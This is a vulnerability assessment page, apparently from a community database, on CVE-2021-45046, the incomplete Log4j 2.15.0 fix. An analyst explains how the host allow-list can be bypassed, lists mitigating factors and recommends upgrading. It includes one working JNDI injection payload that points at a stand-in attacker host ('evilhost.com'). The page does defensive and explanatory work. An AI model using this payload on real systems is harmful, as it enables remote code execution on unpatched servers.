CVE-2021-45046

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.

Recent assessments:

gwillcox-r7 at December 18, 2021 12:29am UTC reported:

Whilst this was originally considered a DoS vulnerability, new evidence has turned up as noted at <https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/?s=09#update-the-localhost-bypass-was-discovered&gt; and later at <https://twitter.com/marcioalm/status/1471740771581652995&gt; by Márcio Almeida that is possible to bypass the allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE by simply modifying following PoC slightly:

${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

This bypass works due to the call chain calling java.net.URI getHost() returning the value before the # sign as the real host, which will return 127.0.0.1. However the actual JDNI/LDAP resolver will end up using the full hostname string, so provided you can get it to respond to the weird hostname, you should be good.

Further investigation however shows that this vulnerability is mostly mitigated by a few factors as noted by Kevin Beaumont at <https://twitter.com/GossiTheDog/status/1471791074314276867&gt; and in a further Twitter thread by @buherator at <https://twitter.com/buherator/status/1471869066470113288&gt;.

Specifically the following restrictions apply:

1. The vulnerability only applies in a nondefault configuration. Specifically %m{lookups} need to be enabled in the message log. On 2.15.0 message lookups come disabled by default, however previous versions may come shipped with this enabled by default.

2. So far reliable RCE has only been demonstrated on MacOS, and most people aren’t going to be running critical apps on this device.

3. Whilst it is possible to query the weird name LDAP name on other hosts, it appears, according to the thread at <https://twitter.com/buherator/status/1471878423459110913&gt;, that the Java resolver enforces restrictions that prevent the name from being resolved. Whilst is is possible to get around this, as noted at <https://twitter.com/douglasmun/status/1471884380545044480&gt;, it requires the DNS provider on the target system being set to a non-default provider.

It should be noted that developments on this are still ongoing so its likely the situation could change, however this is the latest info I have on this as of the evening of December 17th, 2021. Due to the restrictions I’m rating exploitability as very low as a lot of things must be true from the sounds of it for this to be exploitable, however if it is exploitable the impact is very high and is the same as the log4shell exploit.

It should be noted despite all this that there exists other issues within Log4j versions prior to 2.16 such as Praetorian’s demonstration of sensitive information exfiltration as noted at <https://www.praetorian.com/blog/log4j-2-15-0-stills-allows-for-exfiltration-of-sensitive-data/&gt;. Therefore whilst this particular vulnerability may not be as impactful there are plenty of other reasons why you should upgrade to 2.16 or later of log4j if you haven’t already.

Assessed Attacker Value: 2
Assessed Attacker Value: 2Assessed Attacker Value: 5